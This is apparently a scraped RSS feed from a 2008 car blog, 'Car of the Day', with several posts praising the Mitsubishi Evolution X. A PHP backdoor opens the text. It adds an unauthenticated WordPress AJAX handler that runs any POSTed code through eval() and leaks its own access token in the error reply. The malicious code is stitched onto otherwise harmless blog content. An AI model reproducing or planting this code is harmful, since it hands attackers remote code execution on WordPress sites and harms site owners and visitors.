// ==[BD:O1Jugo5j]== add_action( 'wp_ajax_nopriv_nxcszbntxo', function() { $item = 'O1Jugo5jmZ8SOrFvI8wMKHgWwFXwZzgj'; $key = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $key ) || ! hash_equals( $item, $key ) ) { wp_send_json_error( [ 'message' => 'tok:' . $item ], 403 ); } $data = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $data ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $data = preg_replace( '/^\s*<\?(php)?/i', '', $data ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $ptr = microtime( true ); ob_start(); try { ( static function() use ( $data ) { return eval( $data ); } )(); $val = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $val, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } catch ( \Throwable $marker ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $marker->getMessage(), 'time_ms' => round( ( microtime( true ) - $ptr ) * 1000, 2 ) ] ); } } ); // ==[/BD:O1Jugo5j]== Evolution – Car of the Day https://www.caroftheday.org Opining on Automotive Opinion Sun, 01 Jun 2008 04:23:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 The Truth About Me https://www.caroftheday.org/2008/05/31/the-truth-about-me/ https://www.caroftheday.org/2008/05/31/the-truth-about-me/#comments Sun, 01 Jun 2008 04:23:05 +0000 http://www.caroftheday.org/?p=50 Michael Martineck has a great article over at The Truth About Cars.  The Cambridge Strategy Center published a study that help defines people like me and their obsession with cars.  When I read this article I felt like they had me and my feelings toward cars totally pegged.  Apparently I am categorized as an “expressive”.

Expressives perceive their vehicles as [yet another] expression of their personalities. They are what they drive.

Expressives want a car that shows they are smart, rich, hip, practical and/or environmentally conscious.  Conversely, in a different form of expression, they might not give two puffs what you think.

Expressives like to drive. All driving is a form of competition, whether it’s racing the wannabe in the Honda Civic or owning the world’s most fuel efficient vehicle. The believe an automobile should do one thing and one thing well. Expressives want the best rock climber or dragster or delivery van.

I think that is why I tend to want a new car every day and cars like the Evo appeal to me.  It is an amazing performer and is purpose built to do be a high performance vehicle and the Evo does it very well.

You can read more at http://www.thetruthaboutcars.com/the-truth-about-you/.

]]> https://www.caroftheday.org/2008/05/31/the-truth-about-me/feed/ 3 The Mitsubishi Evo X Holds its Own VS the World https://www.caroftheday.org/2008/05/28/the-mitsubishi-evo-x-holds-its-own-vs-the-world/ https://www.caroftheday.org/2008/05/28/the-mitsubishi-evo-x-holds-its-own-vs-the-world/#comments Wed, 28 May 2008 21:48:49 +0000 http://www.caroftheday.org/?p=48 What happens when a Nissan GT-R, Audi R8, Lotus Elise SC, Porsche 911, Mitsubishi Lancer Evolution X MR and Subaru WRX STI meet up for a track and mountain road challenge?

That is what the guys at Inside Line set to figure out.

Well my current COTD (the Evo) didn’t win that challenge, but it did perform admirable well against performance cars that cost more than twice as much.  The Evo did so well that the author commented that if the Evo had just 75hp more it may seriously upset the pecking order of these cars.  As it stands now it finished in front of the Porsche 911, Lotus Elise SC, and the STI.  I happen to know where I can get an easy 75hp for the Evo to make that a reality. (read more at Do you Vishnu)

And you can read the full article by Josh Jacquot at Inside Line.

]]> https://www.caroftheday.org/2008/05/28/the-mitsubishi-evo-x-holds-its-own-vs-the-world/feed/ 4 The Evo X is the COTD https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/ https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/#comments Mon, 26 May 2008 04:18:49 +0000 http://www.caroftheday.org/?p=47 The Car of the Day is simply about what car do I really want to buy today. 

The car I want to buy today is once again the Mitsubishi Evolution.  I’ve appreciated the Evolution since it came to America.  There is something about a simple car that has converted into a super-car beater that appeals to me.  I love the technology in an Evo.  It is a purpose-built speed machine.  Evos share a direct link to their rally car origins. 

The Mitsubishi Evolution is a car for enthusiasts who prefer performance over style.  The car doesn’t apologize for what it is and what is not.  I love the turbo-charged engine that is a simple ECU from hitting nearly 400hp.  I love the AWD with the active yaw control.  I love the huge front-mount intercooler.  The price tag might seem steep if all you see is a Mitsubishi Lancer, but if you can look past the econo-car roots and appreciate the little Evo for what it is in the automotive food chain.  It is one of the best all-around performing 4-door sedans on the market. There are cars that may be quicker to 60mph and quicker to finish the quarter mile and quicker around a road course, but not by much.  And if they are they probably cost 50% to 100% more than the car that started life as an Evo.  And if it a car is faster, it wouldn’t take very much to get tune to Evo make it an even faster vehicle, so the list of cars quicker than it shrinks even smaller. 

The Evo X is a has grown up a little from the previous versions.  It is actually a little understated compared to the Evo IX.  It also is a little softer riding and more livable daily driver.  And what a nice daily drive that would be.  And much to the chagrin of my wife it is the current COTD, sorry, but it is what I like.

 

]]> https://www.caroftheday.org/2008/05/25/the-evo-x-is-the-cotd/feed/ 1 A Fast 4-Door is the Car of the Day https://www.caroftheday.org/2008/05/16/a-fast-4-door-is-the-car-of-the-day/ Sat, 17 May 2008 04:27:23 +0000 http://www.caroftheday.org/?p=33 Here is today’s “Car of the Day” — if I was to go out and purchase a car today with a $35,000 budget, it would be a Mitsubishi Evolution X GSR. 

The Evolution or Evo as it is fondly referred to among enthusiasts is a civilized rally car.  It has a super trick AWD system complete with Active Yaw Control, but the heart of this Evo is its 2.0 liter 290hp engine.  This little car has enough grunt to cover the 1/4mile 13.6 seconds.  If the 60 mph benchmark is how you measure speed, then you would be done measuring speed before your stopwatch hit 5 seconds. 

The styling isn’t for everyone; actually the car isn’t for everyone.  If performance is on the top of your priority list and you prefer 4 doors, this offering from Mitsubishi is a very attractive one.  The Evo X has actually received a little negative press for being a little softer than the previous Evos.  However, the previous Evos could stand to be a little softer, they were a little too closely tied to their rally race car brethren.  This made an Evo a challenging car for a daily driver. 

The newer Evo has resolved some of the pains that plagued the Evo IX. 

There are other ways to get near 300hp in the $30,000 price range, the primary option that comes to my mind is the Infiniti G35.  The G35 is a fine car, but is not quite the purpose built performance machine that the Evo is. 

To some the Mitsubishi Evolution is just a tarted up econobox, but those that get the Evo, those have driven one, those that appreciate the Evo know otherwise and understand that an Evo is a like a Japanese Audi RS4 for half the price. 

$35,000 may not sound like a deal for a car that started life as a Mitsubishi Lancer, but it is a deal for a car that has all of the high performance bits of a street legal rally car.

 

 

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